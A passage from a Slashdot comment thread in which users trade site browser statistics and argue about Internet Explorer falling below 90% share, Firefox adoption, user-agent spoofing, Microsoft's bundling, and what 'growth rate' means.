      Yea, but how many of those 15% of hits are yours? ;)

    2. Re:I show 15.52% by Larry+Lightbulb · · Score: 1

      Just to give another point on the graph - my site is episode guides for radio programmes, and I suspect that most of the users [or the regular visitors at least] have a little bit of technical knowledge more than most [ie they've heard of UseNet].

      Here's the percentages for May [about 20,000 hits]:

      IE (versions 4.0-6.0) = 52.4%
      Firefox (?-1.0.4) = 9.9%
      Netscape (4.5-7.2) = 0.9%
      Unknown = 29.4%
      Safari = 4%
      Opera = 4%
      Mozilla = 1.2%
      Konqueror = 0.3%
      Galeon = 0.1%

    3. Re:I show 15.52% by Anonymous Coward · · Score: 1, Funny

      Dude, I'm getting about a 65/35 spilt between IE/Moz on my latest website at http://localhost/test

      The monopoly is coming crashing down I tells ya!

    4. Re:I show 15.52% by QuietLagoon · · Score: 1

      None of them are mine. I filter my IP addresses out from the log files before I pass the log files to the analysis tool. Additionally, my usage would show up as Opera, not FireFox.

    5. Re:I show 15.52% by squarefish · · Score: 1

      what's your site? I was hoping you had the info as a signature or in your profile. Thanks!

      --
      Creationists are a lot like zombies. Slow, but powerful and numerous. And they all want to eat our brains.
    6. Re:I show 15.52% by QuietLagoon · · Score: 1
  15. Where's safari? by tyates · · Score: 1
    Other browsers based on the Mozilla code, including America Online Inc.'s Netscape, had a 2.2 percent share, while Microsoft's Internet Explorer share was 89 percent, a drop from 95 percent in June.
    Is this where safari fits in? I would have thought it would be more than some fraction of 2.2%.
    --
    Tristan Yates
    1. Re:Where's safari? by Anonymous Coward · · Score: 2, Informative

      Safari's no Mozilla-based, it's KHTML-based.

    2. Re:Where's safari? by Inkieminstrel · · Score: 1

      I find that somewhat confusing, also. It's suspect that their market share is around 3.7% but this suggests that their browser has a market share of around half that (depending on how you interpret their share of "other").

  16. Surfing from work by grahamsz · · Score: 4, Insightful

    It's probably based on the platform you use to work on.

    When i was at school i predominantly surfed from linux, at work it's predominantly solaris, and when i change jobs i'll be back to windows.

    If you are in the computer field then you pretty much run whatever OS is required for your job.

    1. Re:Surfing from work by Mynorrrr · · Score: 2, Insightful


      Yep, and it feels damn good when your one of the few Linux installations in a predominately Windows environment, especially when some Marketing JERK brings his infected Windows laptop into the building plugs it directly into the network and kills everybody else for about two days.

    2. Re:Surfing from work by Penguinshit · · Score: 0


      I'm so fucking sad that I run all three at work (including a FreeBSD box in the back, although the disk is dying in that one and I'll be replacing it with a screwed-down Debian system).

      I guess I'm screwing the curve, eh? :-)

    3. Re:Surfing from work by Sxooter · · Score: 3, Informative

      Hell, where I used to work, the Windows sysadmins were the ones who brought the viruses and trojans in while reading their hot mail accounts logged onto the primary domain controllers.

      Tell your windows people to get up to speed!

      --

      --- It is not the things we do which we regret the most, but the things which we don't do.
    4. Re:Surfing from work by Anonymous Coward · · Score: 1, Funny

      BSD is dying? Noooooooo!

    5. Re:Surfing from work by jaavaaguru · · Score: 0

      lol

    6. Re:Surfing from work by stor · · Score: 1

      Not me,

      I've always been an obstinate prick that insists on using Linux. If a company will not let me choose the OS I run, frankly I don't want to work for them.

      Cheers
      Stor

      --
      "Yeah well there's a lot of stuff that should be, but isn't"
    7. Re:Surfing from work by marsnoir · · Score: 1

      hey, are they hiring? Then again I'm guilty of my own sins... I ripped a drive out of live server to show off a hot-swap RAID system. Unfortunately, the drive didn't sync up had to be sent out for a warranty replacement. What a way to show off the server room to a prospective boss!

    8. Re:Surfing from work by grahamsz · · Score: 1

      Well that depends what you do.

      As a software development consultant i pretty much have to run the platform the end user wants, and in my case that's predominantly windows.

      i'd love to be paid well to develop linux software, but that's not happening for me right now :(

    9. Re:Surfing from work by ThePromenader · · Score: 1

      I can tell almost the same story but if my client insists that I use his in-house equipment and it turns out to be windows I could just say "You want me to work, right?". Personally I couldn't care less as it's he who's paying by the hour for the extra hassle of getting a decent PDF ready for the printer.

      As for the "everyone's using it so it must be good" argument, a t-shirt comes to mind, rather a t-shirt answer to a t-shirt:
      "865,000 Baptists can be wrong".

      --

      No, no sig. Really.

      ThePromenader
    10. Re:Surfing from work by Bert64 · · Score: 1

      Well, no server should ever have a web browser or even a gui installed.. That's a major flaw in windows that really needs correcting. Having such applications present on a server make it easier for anyone who does break in, and encourage lazy users to just run them on the server they're already logged in to rather than logging into a more suitable machine. It happens very often too, someone is trying to fix a problem on a server and goes searching for help with the problem they're having.. And get hijacked by some ie vulnerability and compromise the server, and windows encourages users to do this.

      --
      http://spamdecoy.net - free throwaway anonymous email - avoid spam!
  17. 83% use firefox at Networkmirror by winkydink · · Score: 1

    and growing

    --

    "I'd rather be a lightning rod than a seismometer." -Ken Kesey

  18. Ehh, it's still something! by Eric(b0mb)Dennis · · Score: 1

    It's preinstalled on a good percentage of home user's operation system.

    If Firefox can keep its usability/functionality/security edge over IE, I think that the numbers could keep falling.

    The way firefox spreads (world of mouth, mainly) can only become more powerful the more people use it.... if it can maintain its edge.

    --
    Excuse me, I don't mean to impose, but I am the ocean
  19. first time? by spoonyfork · · Score: 5, Insightful

    Internet Explorer has slipped below 90% usage share for the first time.

    First time? Was the author born after 1998?

    --
    Speak truth to power.
    1. Re:first time? by winkydink · · Score: 1

      Why? Was IE above 90% market-share and fell below 90% sometime prior to 1998?

      --

      "I'd rather be a lightning rod than a seismometer." -Ken Kesey

    2. Re:first time? by Nohea · · Score: 1

      right, i remember when the browser war was between Mosaic, Netscape 0.9 and Lynx.

      Actually, i remember the first time i used the web in 93 or 94 (lynx on a terminal). I remember thinking "this sux - gopher is better" (i think i didn't get that there was a GUI interface :-)

    3. Re:first time? by stefanlasiewski · · Score: 1

      Well, websites around that time were similar to Gopher, they mostly text & hyperlinks. But they had colored text! So, Lynx wasn't too far off :)

      Inline images weren't common at all. "10K for an image? Are you crazy? That's bigger then the whole page!" It took two minutes to download my professors homepage, and half the time was spent downloading an image of his grinning face :)

      Gopher was better organized then the web, as you always had an nice neat list of hyperlinks, instead of hyperlinks scattered throughout the page.

      --
      "Can of worms? The can is open... the worms are everywhere."
    4. Re:first time? by spoonyfork · · Score: 1
      IE didn't have any market share until Netscape finished imploding around 1998, IIRC. Prior to that Netscape was the +90% behemoth.

      Were you born after 1998?

      --
      Speak truth to power.
    5. Re:first time? by Anonymous Coward · · Score: 0

      You have to be above before you slip below.

      See? I'm down here. I didn't slip down here, I'm just down here. Now I'll go up there. Hey, look, I'm up there! Now I'll slip down here. Wow, I was up there, now I've slipped down here.

      Pretty easy to grasp, eh?

    6. Re:first time? by Anonymous Coward · · Score: 0

      This is not the first time IE has been under 90%. But it is the first time they've "slipped below" 90%.

    7. Re:first time? by CommieOverlord · · Score: 1

      Whoa, dude. Reading comprehension problems?

      "Slipped below 90% for the first time" doesn't mean that IE was always above 90%. It just means that since the point that IE achieved dominance this is the first it has dropped this low.

    8. Re:first time? by Anonymous Coward · · Score: 0

      Your ideas are intriguing and I wish to subscribe to your newsletter.

    9. Re:first time? by spoonyfork · · Score: 1

      Whoa, dude. Reading comprehension problems?

      TFA never says "first time". In fact, the WebSideStory article referenced in the CNN article never says "first time". Moreover the WebSideStory article says that IE dropped below 90% a couple months ago. So if this isn't the "first time" by either account, how is your assumed comprehension of what the poster meant more correct than mine?

      --
      Speak truth to power.
    10. Re:first time? by avalys · · Score: 1

      I think he means this is the first time it's hit 90% on the way down, as opposed to 90% on the way up.

      --
      This space intentionally left blank.
    11. Re:first time? by CommieOverlord · · Score: 1

      I didn't have to "assume" anything. What the poster wrote was clear as day. Grammatically and logically it made sense, with only one way to misinterpret it. You misinterpreted.

      What he wrote was wrong, but not for the reason you mentioned in your original. Likewise, your castigation of the grandparent of my post was offbase. What does 1998 have to do with anything?

    12. Re:first time? by Anonymous Coward · · Score: 0

      You must be a lot of fun at parties.

    13. Re:first time? by Anonymous Coward · · Score: 0

      How would you know.. did you even read the CNN or WebSideStory articles?

  20. Re:Well it seems like a Troll.. by TheCeltic · · Score: 2, Informative

    LOL.. is this a troll? I'll bite. Let's see.. FireFox has had a few bad security flaws recently (most had patches release the SAME DAY), is not integrated with the OS (this is a GOOD thing from a security standpoint) and offers MUCH greater functionality (www.mozdev.org). IE offers LESS functionality, is like swiss cheese when it comes to vulnerabilities and you have to wait until Microsoft decides to release a patch once a hole is discoverd. Of course IE is "compatible" with more sites (as long as you don't consider RFC compliance or if the site adheres to any internet standards).

    --
    =-=-=-=-=-=-=-= - The Celtic - =-=-=-=-=-=-=-=
  21. IE, Mozilla and Apathy by Princess+Tarja · · Score: 0

    well here's my .$02 wether or not it's a %90 or %50 userbase the sad fact is that most IE users simply do not care. they use what is included and and that's it. I have many friends that have never even "heard" of firefox/moziila let alone tried them & when they do the immediate reaction is "yech! this is weird and promptly go back.Trying to educate ppl that really dont care is a useless endeavour. I use what I use (fbsd, mozzie) for my own reasons. Untill these people come to a realization on their own we may as well save our collective breath. These contant userbase stats are a waste of everyone's time imo.

    --
    Step out of the box and enjoy life
  22. It's going to drop even lower by WillAffleckUW · · Score: 1

    because I'm upgrading my son's iMac and the new Mac mini won't have IE at all, just Firefox.

    IE - it's what's for dinner.

    Hint to Bill G - the market cares nothing for past laurels, and reroutes around FUD eventually.

    --
    -- Tigger warning: This post may contain tiggers! --
    1. Re:It's going to drop even lower by Stormwatch · · Score: 1

      No way, man! Use Apple's own browser, Safari!

    2. Re:It's going to drop even lower by WillAffleckUW · · Score: 1

      No way, man! Use Apple's own browser, Safari!

      Nah, I was originally going to use Opera and have it pretend to be IE like on my Win box, but since it's my son's and he likes to play lots of Flash I know that Firefox will be supported.

      It's not for me, even if I do set the parental controls and then he hacks them. You should see what he did to Wikipedia ...

      --
      -- Tigger warning: This post may contain tiggers! --
  23. Gates should be wetting his pants by Jesus+IS+the+Devil · · Score: 5, Interesting

    See this is a new type of business model that Microsoft can't beat. It used to be that when they decided to bundle or bully, competitors are dead.

    No more. Firefox doesn't need to make $ to survive, so M$ can't beat by price. Bundling won't work either because broadband is everywhere.

    Now, the killer app (analogy) is reputation. IE has been branded as spyware/exploit-ridden. People want an alternative. IE has lost its credibility.

    --

    eTrade SUCKS
    1. Re:Gates should be wetting his pants by cowscows · · Score: 1

      Along the same lines as reputation is the fact that the alternatives are significantly better. Bundling certainly helped IE become so prominent, but the fact that Netscape really sucked for quite some time didn't hurt MS either. There was a good period of time, while the internet was making its transformation to a part of daily life for most people, where IE was competitive in terms of quality.

      --

      One time I threw a brick at a duck.

    2. Re:Gates should be wetting his pants by dagoalieman · · Score: 1

      I greatly agree with your statement with one nitpick: Broadband's everywhere. Here in podunk Missouri, it's still fairly sparse, and expensive to those who can get it.

      That being said, I use dialup at home. And Firefox is under 10 minutes to download. There are website indexes that I swear take longer to load.

      That perhaps is its best selling point- painless even under some extreme circumstances.

      And throw in adblock, wow things are much better. I almost feel like the web's back to the days of 14.4 when people didn't insist on mucking up their pages with that crap!

      --
      We don't need no Net Explorer We don't need no Thought control
    3. Re:Gates should be wetting his pants by That's+Unpossible! · · Score: 1

      See this is a new type of business model that Microsoft can't beat.

      It's not a business model, it's a non-business model, since Mozilla is not-for-profit.

      But aside from semantics, Microsoft is still beating it, and they are doing it based on apathy. All they need to do is fix the flaws in IE when they release 7.x, and it will be "good enough" for people to use it rather than downloading another browser.

      The only way Firefox+friends can ever over-take IE is if Windows usage slips considerably, which I think it eventually will with strong competitors like Apple and Linux.

      Practically speaking, it doesn't matter who has the most users as long as there is healthy competition and standards support.

      --
      Ironically, the word ironically is often used incorrectly.
    4. Re:Gates should be wetting his pants by TheGratefulNet · · Score: 1

      Now, the killer app (analogy) is reputation. IE has been branded as spyware/exploit-ridden. People want an alternative. IE has lost its credibility.

      and Bill's response (that he wants to start _selling_ antispyware programs, Real Soon Now) is spot on. it'll go down well.

      --

      --
      "It is now safe to switch off your computer."
  24. For the first time? by Limburgher · · Score: 4, Funny

    So, even before it was writte^H^H^H^H^H^Hcopied from Mosaic, it had 90% market share? That's AMAZING! :)

    --

    You are not the customer.

    1. Re:For the first time? by Anonymous Coward · · Score: 0

      See, thing is, you have to slip ABOVE 90% share before you can slip BELOW 90% share.

      It's not such a hard concept.

    2. Re:For the first time? by Anonymous Coward · · Score: 0

      Yes, but in the before time, it had not slipped below 90%. You have to be above before you slip below.

      See? I'm down here. I didn't slip down here, I'm just down here. Now I'll go up there. Hey, look, I'm up there! Now I'll slip down here. Wow, I was up there, now I've slipped down here.

      Pretty easy to grasp, eh?

  25. "exception that proves the rule" by jbellis · · Score: 1

    watch what happens when IE7 is released

  26. The monopoly aint over till the fat geek sings! by EmbeddedJanitor · · Score: 2, Insightful
    The only reason IE has 90% market share is because of the monopoly. If it was a level playing field with unbundled browsers, IE would be very lucky to make 10%.

    That IE has 90% is a clear demonstration that the DOJ anti-trust stuff is having no real impact on slowing the Microsoft monopoly.

    --
    Engineering is the art of compromise.
    1. Re:The monopoly aint over till the fat geek sings! by TheCeltic · · Score: 1

      I couldn't agree more. Of course this summer is the release of the "new" IE. Sad isn't it that having control over a desktop can stifle innovation and hurt the competition (those who REALLY come up with the ideas)

      --
      =-=-=-=-=-=-=-= - The Celtic - =-=-=-=-=-=-=-=
    2. Re:The monopoly aint over till the fat geek sings! by Anonymous Coward · · Score: 0

      Wow. A monopoly of free browsers. How nefarious.

      The only people who give a rat's turd about browser "market share" are Open Source cheerleaders.

      The browser I use rocks. I could care less how many sheep are using an inferior product from Redmond.

    3. Re:The monopoly aint over till the fat geek sings! by Anonymous Coward · · Score: 0

      Sad isn't it that having control over a desktop can stifle innovation and hurt the competition (those who REALLY come up with the ideas)

      Yeah... Think of all the sales the Mozila team will lose because of IE catching up with their technology and reclaiming market share. Why, they could see a 15% drop in profits in the first month alone!

      Let's see... 15% of zero is... um... carry the three...

      Oh, never mind. I guess nobody is hurt by the MS browser improving in any way whatsoever.

      In fact, pushing Microsoft to improve might turn out to be the very best thing about the Free Software movement. No matter how much MS dominates the market, there's no "for profit" company to eliminate so the the competition can keep right on marching and keep right on pushing them to serve their customers better.

    4. Re:The monopoly aint over till the fat geek sings! by EmbeddedJanitor · · Score: 1
      The only people who give a rat's turd about browser "market share" are Open Source cheerleaders..

      Compatability is a big issue. Unfortunately many sites I must access only work with IE. IE is real crap software; it is slow and hangs often.

      --
      Engineering is the art of compromise.
    5. Re:The monopoly aint over till the fat geek sings! by infinityxi · · Score: 1

      You'd probably care if developers started using non standard HTML that breaks your kick ass browser. Thats what the big issue with the browsers were. If there were a "monopoly" of free browsers those who render broken html would be more pursuaded to conform to some sort of coherent standard. Perhaps.

      --
      Turn based strategy game that runs over XMPP. Phalanx
    6. Re:The monopoly aint over till the fat geek sings! by Anonymous Coward · · Score: 0

      Not necessarily. I installed Internet Explorer 3 (and later versions) because they were much better than Netscape.

      Sure, Firefox is great today, but Internet Explorer 3 and 4 ruled. They were faster and supported better HTML / CSS.

    7. Re:The monopoly aint over till the fat geek sings! by madprof · · Score: 1

      Weird I've always found IE quite quick on my slow machine. Firefox is zippy but not quite as much.

    8. Re:The monopoly aint over till the fat geek sings! by Anonymous Coward · · Score: 0

      Let's face it. Standards or not, using HTML and HTTP for anything other then static web pages is just a kludge.

      They should throw the whole thing away and design a new internet browser and protocol that actually does what people need.

    9. Re:The monopoly aint over till the fat geek sings! by Elminst · · Score: 1

      That's because IE = Windows. A good number of the IE dlls are also dlls that Windows itself uses. (This is why you can surf the internet with windows explorer) So of course it runs faster. Lot quicker to utilize the dll when it's already in use by the OS.

      Firefox runs like just another program, USING Windows, not PART of it.

      That said, my personal experience puts FF as the faster browser in rendering pages, once you get past the initial "boot" of the program starting.

      --
      No unauthorized use. Trespassers will be shot. Survivors will be shot again.
  27. how much is FF saying it's IE? by yagu · · Score: 4, Interesting

    Okay, just curious, but wondered how much of the traffic measured accounts for, knows about, figures in, etc., for Firefox "reporting in" as Internet Explorer so as not to get rejected from using that site. I have mine set to be "Internet Explorer" for my on-line banking (go figure). Think it would add any significant usage for Firefox?

    1. Re:how much is FF saying it's IE? by Anonymous Coward · · Score: 1, Informative

      Not so much Firefox, because you have to modify the settings to identify as Internet Explorer, but Opera spoofs IE by default.

    2. Re:how much is FF saying it's IE? by MrP-(at+work) · · Score: 1

      even when spoofing IE it still contains Opera in the brackets.. (not sure if firefox does the same)

      if they're using the full string they should be able to tell if its ie or opera pretending to be ie

      --
      [an error occurred while processing this directive]
    3. Re:how much is FF saying it's IE? by Anonymous Coward · · Score: 0

      But then I'd like to know how well does the third player perform : Opera !

      I'd say Opera is at least as good as Firefox. Definitely better on Windows.
      And I even use it on Linux (though I'm using FF most of the time).
      And Opera has "Identify as Internet Explorer" set by default.

    4. Re:how much is FF saying it's IE? by Anonymous Coward · · Score: 1, Informative

      Not always. What you say is true for Opera 7.x and below, but Opera 8 changed things.

      From the Opera 8 changelog, at the bottom of the page: http://www.opera.com/windows/changelogs/800/index. dml

      Enabled downloading of the file ua.ini, which specifies how Opera should identify itself to specific Web sites.
      Can be edited manually.
      1 = Identify as Opera
      2 = Identify as Mozilla
      3 = Identify as Internet Explorer
      4 = Identify as Mozilla, hide Opera ID completely
      5 = Identify as Internet Explorer, hide Opera ID completely

    5. Re:how much is FF saying it's IE? by Anonymous Coward · · Score: 0

      WebSideStory tracks via transparent GIFs, not headers.

      There are problems with that approach as well, but it's more accurate than going with headers.

    6. Re:how much is FF saying it's IE? by ceeam · · Score: 1

      Heck, I found out not too long ago that my proxy was replacing user agent with MSIE. So both my Opera and FF were accounted as MSIE for about half a year. Speaking of Opera - I wonder how many stat engines check for /Opera/ before /MSIE/? (Opera's UserAgent goes something like "Mozilla/4 (MSIE5...) Opera 6" IIRC).

    7. Re:how much is FF saying it's IE? by Windowser · · Score: 1
      I have mine set to be "Internet Explorer" for my on-line banking (go figure)

      I figure, you need to change bank, I've been using Mozilla for my banking since v.0.9.something

      If my bank would request me to be running the most insecure browser to access their services, I would stay away from it
      --
      Avoid the MS tax, always buy I.B.M. PC's (I Built-it Myself)
    8. Re:how much is FF saying it's IE? by Anonymous Coward · · Score: 0

      Yeah, actually did that.... moved LOTS of money from one bank that required IE.... Then, my new bank shortly thereafter switched gears to the same requirement... haven't changed banks again yet.... sigh..

  28. Fewer MS-only websites, I hope by G4from128k · · Score: 4, Insightful

    I hope that this data will motivates webmasters and site designers to create more universally viewable sites.

    --
    Two wrongs don't make a right, but three lefts do.
    1. Re:Fewer MS-only websites, I hope by Grey+Haired+Luser · · Score: 1

      Indeed, this is by far the most important
      benefit of breaking IE's dominance
      of the so called "industry standard" and
      a return to real standards which promote
      interoperability. If we reach a critical
      mass of people who can't do their online
      banking because of IE specific features,
      perhaps those responsible will start
      finally getting a clue.

    2. Re:Fewer MS-only websites, I hope by ceeam · · Score: 1

      There's a big stumbling block here in the form of MSIE stubbornly refusing to implement standards. Most notable (for me) annoyance of this kind is that on new Google groups the silly yellow navbar jumps all around the screen when I scroll. Had MSIE supported "position: fixed" we would been spared it I guess. (Just an example).

  29. Politics by slothjammin · · Score: 1

    Anyone else have trouble implementing new/better/more cost effective solutions because of Politics??? A phrase I've heard repeatedly from upper levels:
    "We've used 'X' software for 10 years so we are never changing."
    They only like what they are used to, even though FF is better.

    --
    Squidward: "Spongebob, If I had a dollar for every brain you don't have, I'd have 1 dollar."
    1. Re:Politics by 99BottlesOfBeerInMyF · · Score: 1

      Anyone else have trouble implementing new/better/more cost effective solutions because of Politics?

      Nope. Usually it is more like, "why doesn't this work right?" Then I walk them through downloading Firefox and show them how to open multiple tabs. The next day they tell me how they can't ever go back and how much IE sucks. Then again, I mostly work with fairly intelligent people.

    2. Re:Politics by jimicus · · Score: 1

      There is more to that sentence than simply the words you hear. I can think of a few examples.

      "We've used 'X' software for 10 years and we know it works so we are never changing" (not everything needs changing...)

      "We've used 'X' software for 10 years and major software migration projects are pretty prone to failure so we are never changing"

      "We've used 'X' software for 10 years largely because the CEO is a good friend of mine and we regularly play golf so we are never changing"

    3. Re:Politics by Anonymous Coward · · Score: 0

      Absolutely. That's when management and other idiots start meddling in IT when they know absolutely nothing about it. It's just an ego thing. Pathetic really.

      Can you imagine if the SysAdmin marched into a managers office and started telling him how to do his job?

  30. What methodology is used? by bogaboga · · Score: 1

    Before I take a break for my weekend, I'd like to request slashdotters to throw some light on what methodology these WebSideStory guys use to get their numbers. Is it the case that when I fire up IE, the IE numbers get a plus and when I switch do Firefox, even on the same machine, Firefox numbers get updated accordingly...and this happens wherever on this earth I might be? What software could do this?

    1. Re:What methodology is used? by bunratty · · Score: 1

      Typically the user agent string is used to measure usage share.

      --
      What a fool believes, he sees, no wise man has the power to reason away.
    2. Re:What methodology is used? by Secrity · · Score: 1

      Proprietary software from WebSideStory -- STFW.

    3. Re:What methodology is used? by ggy · · Score: 1

      No, no, no. Thank our good friends at *AA for this. :)

  31. Go Deutschland! by r_jensen11 · · Score: 0

    Hurray for Germany! 27% use Firefox! Yeah, that's right, I RTFA

  32. Shoestring? Not quite by sjbe · · Score: 5, Informative

    Firefox has managed to take ~7% of the market in a short period of time from a massively well-funded competitor on an ultra, ultra, ultra shoestring budget.

    "Ultra shoestring budget"? Relative to Microsoft sure, but the vast majority of Mozilla development occured with the direct financial support of AOL, Sun and what was left of Netscape after the buyout with numerous other companies contributing. The Mozilla foundation was given millions of dollars to get started. While none of that in any way detracts from how impressive their accomplishment is, I would hardly describe them as working on "an ultra, ultra, ultra shoestring budget."

  33. Re:I smell a geek party! by Electric+Eye · · Score: 0, Flamebait

    Oh, and I forgot to mention, they're all going to be singing "Ding Dong the Witch is Dead!"

  34. Oh dear by onlyjoking · · Score: 1

    I was handed this site - www.worldwidehotelsonline.net - by a family startup who had some guy cobble it together for them in ASP/VBScript. Their business was suffering because it updated the XML as soon as a customer showed initial interest rather than on completion of the transaction (honest). The application also couldn't figure max. child ages properly. I hated pointing out to them that they were also losing 10% of potential business because the front page Country dropdown was coded for MSXML/IE only.

    1. Re:Oh dear by doublem · · Score: 1

      That's one broken site.

      --
      "Live Free or Die." Don't like it? Then keep out of the USA
  35. For the first time? by JudgeFurious · · Score: 2, Informative


    It had less than 90% long ago, in the before time...

    --
    Appended to the end of comments you post. 120 chars.
  36. Re:83% use firefox at Networkmirror by Anonymous Coward · · Score: 0

    So does that mean the other 17 use IE?

  37. Asian markets have the highest percentage... by ddkilzer · · Score: 1

    ...of Internet Explorer users, but one has to wonder what percentage of those users also have pirated copies of Windows?

    1. Re:Asian markets have the highest percentage... by Anonymous Coward · · Score: 0

      Asian markets have the highest percentage of Internet Explorer users, but one has to wonder what percentage of those users also have pirated copies of Windows?

      Why? Does pirating Windows somehow affect your choice of browser?

    2. Re:Asian markets have the highest percentage... by The_DoubleU · · Score: 1

      Ofcourse, downloading a browser for free and use it legally, is no fun at all.
      You are obviously not a real h4x0r!

      --
      What power has law where only money rules.
    3. Re:Asian markets have the highest percentage... by Anonymous Coward · · Score: 0

      Let's see:

      10% of U.S. population uses Firefox = 30,000,000 users
      2% of China population uses Firefox = 26,000,000 users

      Not that much difference, is it?

    4. Re:Asian markets have the highest percentage... by Anonymous Coward · · Score: 0

      Piracy is a key of success to Microsoft.
      Didn't bill say that he is willing to give it to chinese even for free only to propagate and kill competition?
      If they fuck it up in the next version of windows, Bill's days of reign are over.

  38. Not enougth by diegocgteleline.es · · Score: 1

    What could we do to do firefox even more atractive? I mean, it has taken half of a year to steal a...5%?. If we *really* want to spread firefox we need to spread more quickly, at this rate it'd take years to have 50% of the market share.

    1. Re:Not enougth by diegocgteleline.es · · Score: 4, Interesting

      (answering myself) - maybe lobbing to the windows 98 users? AFAIK people using windows 98 makes around 50% of the people who uses internet. Internet explorer 7 will not be released for windows 98 and in fact Microsoft should already have stopped updating it with security fixes (windows 98 is 7 years old)

      May be we could use a catch phrase, say "the one secure option for windows 98/me/NT 4.0" "Microsoft forgot of your Windows 98 box? Try firefox". Or something like that.

    2. Re:Not enougth by Anonymous Coward · · Score: 0

      I work at a BBY, and I make sure that every time I do a 'customization' on a machine, I delete IE icons, install FF & set it as the default browser. Most people will just use the first thing they see.

    3. Re:Not enougth by winkydink · · Score: 1

      If you assume it's an s-curve adoption rate, then the acceleration of adoption in the past month may indicate we are entering the steep part of the curve.

      --

      "I'd rather be a lightning rod than a seismometer." -Ken Kesey

    4. Re:Not enougth by bunratty · · Score: 1

      I think we passed the inflection point of the S-curve around the time Firefox 1.0 was released. Adoption of Firefox has slowed since then. See the story on Firefox's growth rate slowing posted on Slashdot earlier today.

      --
      What a fool believes, he sees, no wise man has the power to reason away.
    5. Re:Not enougth by Anonymous Coward · · Score: 0

      Preinstall it on computers, or better have Dell preinstall it on computers.

    6. Re:Not enougth by j79 · · Score: 1

      Distribute FireFox on new PCs.

      The people who are still using IE are the people who are aggravated at the on-slaught of spyware/adware and viruses. They get so pissed when they talk about their "web experiences" and "pop-ups". They would greatly benefit with FireFox. Unfortunately, they're the "less" tech saavy...so a pre-bundled browser would be great for them!

      The sad reality though, when you give them an alternative, they rarely want to hear it. They're so far deep in the hole of computing misery, that a glimmer of light means nothing to them.

      When I offer FireFox as an alternative, I have had people scoff at me, saying something along the lines of, "I don't want to download anything else..."

      Even though 99% of their issues could be solved by using a browser which isn't inviting the scum of the internet in.

    7. Re:Not enougth by Anonymous Coward · · Score: 0

      How about actually fixing all the bugs so that monthly patching is not necessary. Really, that is the ONLY reason to use FF over IE and, well, IT DOESN'T EXIST!

    8. Re:Not enougth by Anonymous Coward · · Score: 0

      I cringe at the thought of a modern browser running on a computer that probably has 16 or 32 megs of ram.

    9. Re:Not enougth by Emetophobe · · Score: 1

      I use firefox, I love firefox, but I see no reason why we need to have 50% of the market share. If people want to continue to use Internet Explorer, an inferior product, they have every right to do so.

      I'd much rather have firefox as a "niche" market for the geek/tech savvy people then have the masses using it. Let the lusers continue to get viruses and malware from Internet Explorer, eventually they will learn on their own why they should switch to something else.

      The last thing I want is for firefox zealots to try and force a product down peoples throats, thats the microsoft method, and we need to be better then that.

    10. Re:Not enougth by diegocgteleline.es · · Score: 1

      I use firefox, I love firefox, but I see no reason why we need to have 50% of the market share. If people want to continue to use Internet Explorer, an inferior product, they have every right to do so.

      I don't agree. The main reason why firefox has succeed is not that it's a better browser (mozilla, opera haven't got the same attention). The reason has been "marketing": lots of noise around it. Lots of people encouraging friends to try it. And people liking it, I don't see why it's a bad idea. We don't force them.

  39. Firefox crash by Anonymous Coward · · Score: 0

    The only trouble I've had with firefox lately is the website of a friend's ISP which consistently crashes Firefox:
    It drives me nuts

    1. Re:Firefox crash by kbranch · · Score: 1

      No problems here.

      Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511 Firefox/1.0.4

    2. Re:Firefox crash by plague3106 · · Score: 1

      I've got the same specs, and it did in fact crash on me. The feedback agent sent the report.

    3. Re:Firefox crash by Anonymous Coward · · Score: 0

      Odd. I wonder if AdBlock took out an offending ad or something.

      And yes, this is the grandparent. Just trying to avoid OT mods.

    4. Re:Firefox crash by Anonymous Coward · · Score: 0

      Part way through the of the page, the line appears -- inside a , in fact. Take it out and the page doesn't crash Firefox. The page is far from compliant, but it's interesting that FF can be so fragile.

    5. Re:Firefox crash by Bert64 · · Score: 1

      That site loads just fine here, but it does seem to require a plugin i don't have installed.. Most likely that's the issue, most of the closed-source binary plugins i've used with firefox are the biggest cause of instability..

      --
      http://spamdecoy.net - free throwaway anonymous email - avoid spam!
  40. pre-firefox promo poll by viva_fourier · · Score: 1

    If yesterday's Firefox promo video discussion, is any indication, we should be seeing that "dip" reverse course with the next polling... Billgatus needus worrius notis...

    --
    and now back to the fallout shelter...
  41. Not sure about that by Anonymous Coward · · Score: 3, Insightful

    f(x) = number of user
    f'(x) = growth = growth rate
    f''(x) = grown increase rate

    So
    Decrease in growth rate == decrease in growth

    1. Re:Not sure about that by bfields · · Score: 1

      The introductory calculus course I taught a few times had an amusing exercise that went something like:

      In 19xx, the New York Times reported Mr. X as saying that "the growth in unemployment is increasing at a slower rate." Which derivative was he talking about?

      .... Which serves to point out one of those cases where ordinary language just isn't very precise, I guess.

    2. Re:Not sure about that by Anonymous Coward · · Score: 0

      A: The accleration.

    3. Re:Not sure about that by dustmite · · Score: 1

      Nope, a "rate" is a "rate of change", and a "growth" is too. Thus:
      f(x) = number of users
      f'(x) = rate of change of number of users (also called "growth")
      f''(x) = rate of change of growth (also called "growth rate")

      Hence, original was correct. If the "growth rate" is slowing down, that means f''(x) is decreasing i.e. getting less, but as long as f''(x) remains greater than 0, the total number of users f(x) will continue to grow indefinitely. f''(x) must be NEGATIVE before there can eventually be a decline in the number of users.

    4. Re:Not sure about that by Anonymous Coward · · Score: 0

      Unfortunately, the English language is not that easy. I'm not sure if you don't speak English or are just not familiar with people who do, but people talk about the growth of firefox as "100 new users a day" and the growth rate of firefox as "100 new users a day", so they very much are the same thing. No major field uses growth rate to refer to the second time derivative, not mathematicians, not economists, and not physicists. Just because "growth rate" is composed of the words "growth" and "rate" doesn't make it different from "growth" or "adoption rate".

    5. Re:Not sure about that by dustmite · · Score: 1

      Actually, I am a mother tongue English speaker, and I also studied math, so I do know what I am talking about. It seems that you are the one not familiar with the English language, because (and since YOU brought 'ability to parse English' into this argument I'm going to turn it around on you) if you look PURELY at the English now: "Growth" is a "rate of change" of something AND a "rate" is also a "rate of change" of something, hence "growth rate" MUST be a double-derivative. That's looking PURELY at the English ONLY, and not at how people might use the expression in actual general use.

